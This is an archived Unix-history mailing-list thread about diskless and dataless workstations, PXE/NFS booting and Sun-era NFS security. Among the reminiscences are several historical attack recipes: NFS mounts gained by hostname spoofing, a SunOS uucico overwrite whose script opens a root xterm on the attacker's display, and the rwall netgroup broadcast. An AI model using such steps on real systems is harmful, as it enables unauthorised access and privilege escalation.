(We also had an X-terminal lab for a while, with a couple of beefy Suns as 
CPU servers.  That had its own, different, contention issues.  We learned 
from that not to arrange things in neat blocks, as the students would come 
in after lectures and go for the first free machine nearest the door, so 
using the naive approach we could end up with one CPU server being totally
overloaded and the other practically idle.)

Now everything is a PC with a ginormous disc, and the contention has moved 
to CPU cores and GPUs.  The more you throw at it the more the academics 
will come up with some way to saturate the thing...

(<http://history.dcs.ed.ac.uk/archive/os/APM-filestore/FS.1976/> for my 
rewrite of the original Interdata filestore code, btw, and 
<http://history.dcs.ed.ac.uk/archive/docs/dcs-inf-network-history.pdf> for 
a bit more on our network history.  There was also a filestore version that
ran on VMS and served files from that out to the network, but I haven't
been able to get a copy of that back off tape yet.)
-- 
George D M Ross MSc PhD CEng MBCS CITP
University of Edinburgh, School of Informatics,
Appleton Tower, 11 Crichton Street, Edinburgh, Scotland, EH8 9LE
Mail: gdmr at inf.ed.ac.uk   Voice: 0131 650 5147 
PGP: 1024D/AD758CC5  B91E D430 1E0D 5883 EF6A  426C B676 5C2B AD75 8CC5

The University of Edinburgh is a charitable body, registered in
Scotland, with registration number SC005336.




From gtaylor at tnetconsulting.net  Sat Sep 30 02:46:16 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Fri, 29 Sep 2017 10:46:16 -0600
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170929085923.nclqn5g4xang4vii@client.local>
References: <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <20170929085923.nclqn5g4xang4vii@client.local>
Message-ID: <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>

On 09/29/2017 02:59 AM, Andreas Kusalananda Kähäri wrote:
> My main work setup today is actually a diskless (X11-less) OpenBSD 
> system.  It's just something I set up in a VM environment to learn how 
> to do it (I'm on a work laptop running Windows 10, as I need Windows 
> for some few work-related tasks), but it works just fine and I have no 
> reason to change it.  For one thing, it makes backups easier as they can 
> run locally on the server.

I think you're the first person that I've seen say "I am" and not "I 
used to" regarding diskless.

Can I ask for a high level overview of your config?

I am guessing dhcp and / or bootp, combined with tftp for kernel image, 
and NFS for root.

> OpenBSD has this "dpb" thing ("distributed ports builder", 
> /usr/ports/infrastructure/bin/dpb, http://man.openbsd.org/dpb) that 
> does distributed building of 3rd-party packages.  It does exactly this, 
> sharing the sources over NFS.

Interesting.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/94585e4e/attachment.bin>

From khm at sciops.net  Sat Sep 30 03:02:46 2017
From: khm at sciops.net (Kurt H Maier)
Date: Fri, 29 Sep 2017 10:02:46 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>
References: <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <20170929085923.nclqn5g4xang4vii@client.local>
 <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>
Message-ID: <20170929170246.GA65710@wopr>

On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote:
>
> I am guessing dhcp and / or bootp, combined with tftp for kernel
> image, and NFS for root.
          
I run linux workstations and a few supercomputers by PXE booting via    
DHCP, serving a kernel and initrd over tftp, then having init download a
rootfs tarball, which gets extracted to a ramdisk.  switch_root(8) makes
it easy.  xCAT automates it.

       
khm



From pete at nomadlogic.org  Sat Sep 30 03:27:48 2017
From: pete at nomadlogic.org (Pete Wright)
Date: Fri, 29 Sep 2017 10:27:48 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170929170246.GA65710@wopr>
References: <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <20170929085923.nclqn5g4xang4vii@client.local>
 <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>
 <20170929170246.GA65710@wopr>
Message-ID: <48e7c92a-8b0d-0fe8-bda2-9cfe552bef0a@nomadlogic.org>



On 09/29/2017 10:02, Kurt H Maier wrote:
> On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote:
>> I am guessing dhcp and / or bootp, combined with tftp for kernel
>> image, and NFS for root.
>            
> I run linux workstations and a few supercomputers by PXE booting via
> DHCP, serving a kernel and initrd over tftp, then having init download a
> rootfs tarball, which gets extracted to a ramdisk.  switch_root(8) makes
> it easy.  xCAT automates it.

I had a similar setup at a large special effects studio I used to work at.

We were trying solve NFSv3 contention issues - especially with large 
directory tree's creating tons of metadata requests on Linux (issue with 
client side caching IIRC) so we experimented with using UnionFS to allow 
for writes to pass-through to local disk.  It was mostly intermediary 
data and initial testing was promising, in that it alleviated the load 
on our filers and seemed to speed up some rendering processes.

I had left before it made it to wide deployment - but it is something 
I've kept in my toolbox since then as an option.

-pete

-- 
Pete Wright
pete at nomadlogic.org
@nomadlogicLA



From gtaylor at tnetconsulting.net  Sat Sep 30 04:11:57 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Fri, 29 Sep 2017 12:11:57 -0600
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170929170246.GA65710@wopr>
References: <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <20170929085923.nclqn5g4xang4vii@client.local>
 <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>
 <20170929170246.GA65710@wopr>
Message-ID: <df93af55-a0cf-44e5-a189-d3b4cd289f91@tnetconsulting.net>

On 09/29/2017 11:02 AM, Kurt H Maier wrote:
> I run linux workstations and a few supercomputers by PXE booting via 
> DHCP, serving a kernel and initrd over tftp, then having init download a 
> rootfs tarball, which gets extracted to a ramdisk.  switch_root(8) makes 
> it easy.  xCAT automates it.

Thank you for the high level overview.

I'll go do my homework.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/771531d7/attachment.bin>

From don at DonHopkins.com  Sat Sep 30 04:40:41 2017
From: don at DonHopkins.com (Don Hopkins)
Date: Fri, 29 Sep 2017 20:40:41 +0200
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>
References: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>
Message-ID: <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>

On 29 Sep 2017, at 17:22, George Ross <gdmr at inf.ed.ac.uk> wrote:

> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.

The issue we (initially) had with Suns wasn't the stateful/stateless debate,
or indeed that they were discless.  It was that horrible "UNIX
authentication" that NFS used.

When I was a summer intern at Sun in ’87, it was common knowledge among the staff that anyone could find out what hosts an NFS file server trusted by using tftp, which was installed by default, and anonymously grabbing /etc/exports (or guessing hostnames if you can’t get the definitive list). 

Then you just go “hostname trusted-hostname ; mount -t nfs sever:/dir ; hostname original-hostname” to mount that file system.

That’s right: the NFS server TRUSTED the NFS client to tell it what it felt like its hostname should be at that particular instant in time!!! If the name the client sent in the parameter to the mount rpc call was listed in /etc/exports, then the server returned a file handle to the client for it to use from then on, even after changing its hostname back! 

I was able to nfs-mount a directory on one of cs.cmu.edu's servers from sun.com’s network with no problem. Ron may remember me warning him about that! 
 
-Don



From andreas.kahari at icm.uu.se  Sat Sep 30 04:47:40 2017
From: andreas.kahari at icm.uu.se (Andreas Kusalananda =?iso-8859-1?B?S+Ro5HJp?=)
Date: Fri, 29 Sep 2017 20:47:40 +0200
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>
References: <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <20170929085923.nclqn5g4xang4vii@client.local>
 <21d2ce3b-dd08-bc7d-b6bc-b1ae4acfaa1b@tnetconsulting.net>
Message-ID: <20170929184739.tjgnktou3p7lxxmo@client.local>

On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote:
> On 09/29/2017 02:59 AM, Andreas Kusalananda Kähäri wrote:
> > My main work setup today is actually a diskless (X11-less) OpenBSD
> > system.  It's just something I set up in a VM environment to learn how
> > to do it (I'm on a work laptop running Windows 10, as I need Windows for
> > some few work-related tasks), but it works just fine and I have no
> > reason to change it.  For one thing, it makes backups easier as they can
> > run locally on the server.
> 
> I think you're the first person that I've seen say "I am" and not "I used
> to" regarding diskless.
> 
> Can I ask for a high level overview of your config?
> 
> I am guessing dhcp and / or bootp, combined with tftp for kernel image, and
> NFS for root.

Nothing fancy.  OpenBSD's dhcpd on a server tells the client to pick up
pxeboot (2nd stage bootstrap) tftp from my file server. pxeboot then
loads the kernel over tftp.  The bootparamd daemon on the fileserver
provides info to the client regarding its root directory and swap file,
and the client mounts these over NFS.

It follows http://man.openbsd.org/diskless closely.



-- 
Andreas Kusalananda Kähäri,
National Bioinformatics Infrastructure Sweden (NBIS),
Uppsala University, Sweden.


From lm at mcvoy.com  Sat Sep 30 05:03:10 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 29 Sep 2017 12:03:10 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>
References: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>
 <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>
Message-ID: <20170929190310.GV28606@mcvoy.com>

On Fri, Sep 29, 2017 at 08:40:41PM +0200, Don Hopkins wrote:
> On 29 Sep 2017, at 17:22, George Ross <gdmr at inf.ed.ac.uk> wrote:
> 
> > I dunno why all the hating on diskless.  They actually work, I used the
> > heck out of them.
> 
> The issue we (initially) had with Suns wasn't the stateful/stateless debate,
> or indeed that they were discless.  It was that horrible "UNIX
> authentication" that NFS used.

Yeah, that was a joke (in poor taste at that).


From crossd at gmail.com  Sat Sep 30 05:19:19 2017
From: crossd at gmail.com (Dan Cross)
Date: Fri, 29 Sep 2017 15:19:19 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928222056.GD28606@mcvoy.com>
References: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
Message-ID: <CAEoi9W48xibxVgCTE6s0Y-sTnWFuTqtvpGN9H_7bSYPk3ffYkA@mail.gmail.com>

On Thu, Sep 28, 2017 at 6:20 PM, Larry McVoy <lm at mcvoy.com> wrote:
> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.  For kernel work, stacking one on top of the other,
> the test machine being diskless, was a cheap way to get a setup.
>
> Sure, disk was better and if your work load was write heavy then they
> sucked (*), but for testing, for editing, that sort of thing, they were
> fine.

We had a setup on Sun's running SunOS 4.1.x that I actually really
liked; I believe it was referred to as "dataless". The root
filesystem, /tmp and swap were local, along with scratch space on an
arbitrarily named filesystem (I think we mounted that on /scratch, but
I can't remember the details at this point). The difference between
/tmp and /scratch was that the latter persisted across reboots and we
backed it up. /usr, /usr/local came from a fileserver on the local
ethernet and /home was automounted. Users didn't have local root
access, and we kept / pretty well updated using rdist and some
home-grown scripts; basically, we could throw / away at any time on
any machine and rebuild it without losing much. Since all the
administrative data like passwd, group et al all came from NIS it was
almost the best of both worlds: the consistency and central management
of diskless machines and the performance of having local disk. When
the user wanted to do something temporary and IO intensive s/he just
did it in /scratch or /tmp; everything else lived on the file server.

We could deploy a new machine by netbooting it and dd'ing an image
onto the disk. A script ran the first time it booted up that made
whatever small modifications were necessary to files in /etc (this was
before jumpstart and officially sanctioned network install systems)
and away one went. It took about 10 minutes before the user could take
over and get to work.

It was a really nice, comfortable system. Of course, it wouldn't fly
in this day and age for security and other reasons but back in the
early 90s it was great. I didn't find a system I liked as much until I
met plan9. In many ways, the environments were on these days feel like
a regression.

        - Dan C.


From lm at mcvoy.com  Sat Sep 30 05:22:41 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 29 Sep 2017 12:22:41 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAEoi9W48xibxVgCTE6s0Y-sTnWFuTqtvpGN9H_7bSYPk3ffYkA@mail.gmail.com>
References: <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <CAEoi9W48xibxVgCTE6s0Y-sTnWFuTqtvpGN9H_7bSYPk3ffYkA@mail.gmail.com>
Message-ID: <20170929192241.GY28606@mcvoy.com>

On Fri, Sep 29, 2017 at 03:19:19PM -0400, Dan Cross wrote:
> On Thu, Sep 28, 2017 at 6:20 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > I dunno why all the hating on diskless.  They actually work, I used the
> > heck out of them.  For kernel work, stacking one on top of the other,
> > the test machine being diskless, was a cheap way to get a setup.
> >
> > Sure, disk was better and if your work load was write heavy then they
> > sucked (*), but for testing, for editing, that sort of thing, they were
> > fine.
> 
> We had a setup on Sun's running SunOS 4.1.x that I actually really
> liked; I believe it was referred to as "dataless". The root
> filesystem, /tmp and swap were local, along with scratch space on an
> arbitrarily named filesystem (I think we mounted that on /scratch, but
> I can't remember the details at this point). The difference between
> /tmp and /scratch was that the latter persisted across reboots and we
> backed it up. /usr, /usr/local came from a fileserver on the local
> ethernet and /home was automounted. Users didn't have local root
> access, and we kept / pretty well updated using rdist and some
> home-grown scripts; basically, we could throw / away at any time on
> any machine and rebuild it without losing much. 

That's how Sun ran their engineering setup by default.  Your home 
directory was on some file server and that's where you put long 
lived stuff or stuff you wanted other people to see.

The local disks were for performance and were optional.  You could do
the same thing diskless for an admin and they were perfectly happy.

I did more or less the same thing for 20 years at BitMover, worked
great.


From nobozo at gmail.com  Sat Sep 30 06:52:23 2017
From: nobozo at gmail.com (Jon Forrest)
Date: Fri, 29 Sep 2017 13:52:23 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAEoi9W48xibxVgCTE6s0Y-sTnWFuTqtvpGN9H_7bSYPk3ffYkA@mail.gmail.com>
References: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <CAEoi9W48xibxVgCTE6s0Y-sTnWFuTqtvpGN9H_7bSYPk3ffYkA@mail.gmail.com>
Message-ID: <1e860e57-bf9d-4945-8c2f-c518cc6f11aa@gmail.com>



On 9/29/2017 12:19 PM, Dan Cross wrote:

> We had a setup on Sun's running SunOS 4.1.x that I actually really
> liked; I believe it was referred to as "dataless".
[...]
> It was a really nice, comfortable system. Of course, it wouldn't fly
> in this day and age for security and other reasons but back in the
> early 90s it was great.

I agree 100%. I created such an environment on DEC's OSF/1 running
on Alphas (c. f. A Dataless Environment in OSF/1, Digital Systems
Journal - Nov. 1994) when I worked in the CS department at
UC Berkeley. Plus, the CS department itself ran a big Auspex
server that made it possible to create an ad-hoc dataless environment.

At the time, a 600MB disk drive was considered large. Putting all
the read-only stuff on a server made lots of sense. Of course, it
required a reasonably fast network connection, but with 100Mbs networks
starting to get cheap at that time, that wasn't a big deal.

Jon Forrest
UC Berkeley (ret.)


From krewat at kilonet.net  Sat Sep 30 07:24:54 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Fri, 29 Sep 2017 17:24:54 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>
References: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>
 <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>
Message-ID: <d2f65f6c-beb4-dd41-0641-26cf0bc4a491@kilonet.net>

There was also a horrible bit of backdoor-ism that was exploitable with 
NFS on SunOS - and was there for at least 4.1.3 but I imagine it was 
around for a long time.

If the /usr filesystem was exported, and you were either a "known host" 
or it was exported to (everyone) (and yes, there were a LOT of people 
that did this)...

Mount it locally, become root, su - uucp, and go and change the mode on 
/usr/lib/uucp/uucico (which was owned by uucp) from setuid to writable. 
Overwrite with your binary or script of choice.

Telnet to the exploited host, and /usr/lib/uucp/uucico was executed as root.

I usually used:

#!/bin/sh
/usr/openwin/bin/xterm -display <myhost>:0

I used this on a WAN back in the 90's - actually to reset a lost root 
password for someone, but also to poke around sometimes ;)

I don't know why people exported /usr - but they did it a lot.

On 9/29/2017 2:40 PM, Don Hopkins wrote:
> I was able to nfs-mount a directory on one of cs.cmu.edu's servers from sun.com’s network with no problem. Ron may remember me warning him about that!
>   
> -Don
>
>
>



From don at DonHopkins.com  Sat Sep 30 08:11:51 2017
From: don at DonHopkins.com (Don Hopkins)
Date: Sat, 30 Sep 2017 00:11:51 +0200
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <d2f65f6c-beb4-dd41-0641-26cf0bc4a491@kilonet.net>
References: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>
 <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>
 <d2f65f6c-beb4-dd41-0641-26cf0bc4a491@kilonet.net>
Message-ID: <5E9B3A54-78FC-4A2E-82FB-36A3633BF57C@gmail.com>

Sun’s YP was a piece of work. 

That name always sounded to me like a brand of moist pop-up baby bottom wipes. 

Baby made a poopie, and now we need a YP!

Who remember’s Jordan Hubbard’s notorious rwall incident? 

https://en.wikipedia.org/wiki/Jordan_Hubbard#rwall_incident <https://en.wikipedia.org/wiki/Jordan_Hubbard#rwall_incident>

http://catless.ncl.ac.uk/Risks/4.73.html#subj10.1 <http://catless.ncl.ac.uk/Risks/4.73.html#subj10.1>

He put this line into /etc/netgroup:

universal (,,)

Then he did an rwall to that group…

I on a Sun at umd at the time, and received a copy! 

It also scribbled all over Dennis Perry's Interleaf windows (the Inspector General of the ARPAnet in the Pentagon).

-Don

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170930/fb269730/attachment.html>

From don at DonHopkins.com  Sat Sep 30 08:21:10 2017
From: don at DonHopkins.com (Don Hopkins)
Date: Sat, 30 Sep 2017 00:21:10 +0200
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <5E9B3A54-78FC-4A2E-82FB-36A3633BF57C@gmail.com>
References: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>
 <6491AD5C-D08E-4374-9BDD-2BA97E630BE2@gmail.com>
 <d2f65f6c-beb4-dd41-0641-26cf0bc4a491@kilonet.net>
 <5E9B3A54-78FC-4A2E-82FB-36A3633BF57C@gmail.com>
Message-ID: <6B7D7B9B-D1BD-4268-BD10-BFAEEA7745D6@gmail.com>

There were some interesting followup from Milo Medin, Jordan Hubbard and from Dennis Perry on the h_g/tcp-ip mailing lists:

From: Milo S. Medin <medin at orion.arpa>

Actually, Dennis Perry is the head of DARPA/IPTO, not a pencil pusher
in the IG's office.  IPTO is the part of DARPA that deals with all
CS issues (including funding for ARPANET, BSD, MACH, SDINET, etc...).
Calling him part of the IG's office on the TCP/IP list probably didn't
win you any favors.  Coincidentally I was at a meeting at the Pentagon
last Thursday that Dennis was at, along with Mike Corrigan (the man
at DoD/OSD responsible for all of DDN), and a couple other such types
discussing Internet management issues, when your little incident
came up.  Dennis was absolutely livid, and I recall him saying something
about shutting off UCB's PSN ports if this happened again.  There were
also reports about the DCA management types really putting on the heat
about turning on Mailbridge filtering now and not after the buttergates
are deployed.  I don't know if Mike St. Johns and company can hold them
off much longer.  Sigh...  Mike Corrigan mentioned that this was the sort
of thing that gets networks shut off.  You really pissed off the wrong
people with this move!

Dennis also called up some VP at SUN and demanded this hole
be patched in the next release.  People generally pay attention
to such people.

From: Jordan K. Hubbard <jkh at violet.berkeley.edu>

Well, I hope Sun patches the holes, Milo. I'm sorry that certain people chose
to react as strongly as they did in our esteemed government offices, but
I am glad that it raised enough fuss to possibly get the problem fixed. No
data was destroyed, lost, or infiltrated, but some people got a whack on the
side of the head for leaving the back door open. I'm not sure I can say that
I'm all that sorry that this happened. rwall is certainly going to change on
my machines, I can only hope that people concerned about being rwall'd over
the net will tighten up their RPC. Those that don't care, should at least be
aware of it.


From: Dennis G. Perry <PERRY at vax.darpa.mil>

Jordan, you are right in your assumptions that people will get annoyed
that what happened was allowed to happen.

By the way, I am the program manager of the Arpanet in the Information
Science and Technology Office of DARPA, located in Roslin (Arlington), not
the Pentagon.

I would like suggestions as to what you, or anyone else, think should be
done to prevent such occurances in the furture.  There are many drastic
choices one could make.  Is there a reasonable one?  Perhaps some one
from Sun could volunteer what there action will be in light of this
revelation.  I certainly hope that the community can come up with a good
solution, because I know that when the problem gets solved from the top
the solutions will reflect their concerns.

Think about this situation and I think you will all agree that this is
 a serious problem that could cripple the Arpanet and anyother net that
lets things like this happen without control.

dennis
———

From: Jordan K. Hubbard <jkh at violet.berkeley.edu>

Dennis,

Sorry about the mixup on your location and position within DARPA. I got
the news of your call to Richard Olson second hand, and I guess details
got muddled along the way. I think the best solution to this problem (and
other problems of this nature) is to tighten up the receiving ends. Assuming
that the network is basically hostile seems safer than assuming that it's
benign when deciding which services to offer.

I don't know what Sun has in mind for Secure RPC, or whether they will move
the release date for 4.0 (which presumably incorporates these features)
closer, but I will be changing rwalld here at Berkeley to use a new YP
database containing a list of "trusted" hosts. If it's possible to change
RPC itself, without massive performance degradation, I may do that as well.

My primary concern is that people understand where and why unix/network
security holes exist. I've gotten a few messages from people saying that
they would consider it a bug if rwall *didn't* perform in this manner, and
that hampering their ability to communicate with the rest of the network
would be against the spirit of all it stands for. There is, of course, the
opposite camp which feels that IMP's should only forward packets from hosts
registered with the NIC. I think that either point of view has its pros and
cons, but that it should be up to the users to make a choice. If they wish
to expose themselves to potential annoyance in exchange for being able to,
uh, communicate more freely, then so be it. If the opposite is true, then
they can take appropriate action. At least an informed choice will have been
made.

                Yours for a secure, but usable, network.

From: Dennis G. Perry <PERRY at vax.darpa.mil>

Jordan, thanks for the note.  I agree that we should discover and FIX holes
found in the system.  But at the same time, we don't want to have to
shut the thing down until such a fix can be made. Misuse of the system
get us all in a lot of trouble.  The Arpanet has succeeded because of
the self policing community. If this type of potential for disruption
gets used by very many people, I guarentee that we all will not like the
solution or fix proposed.

dennis
———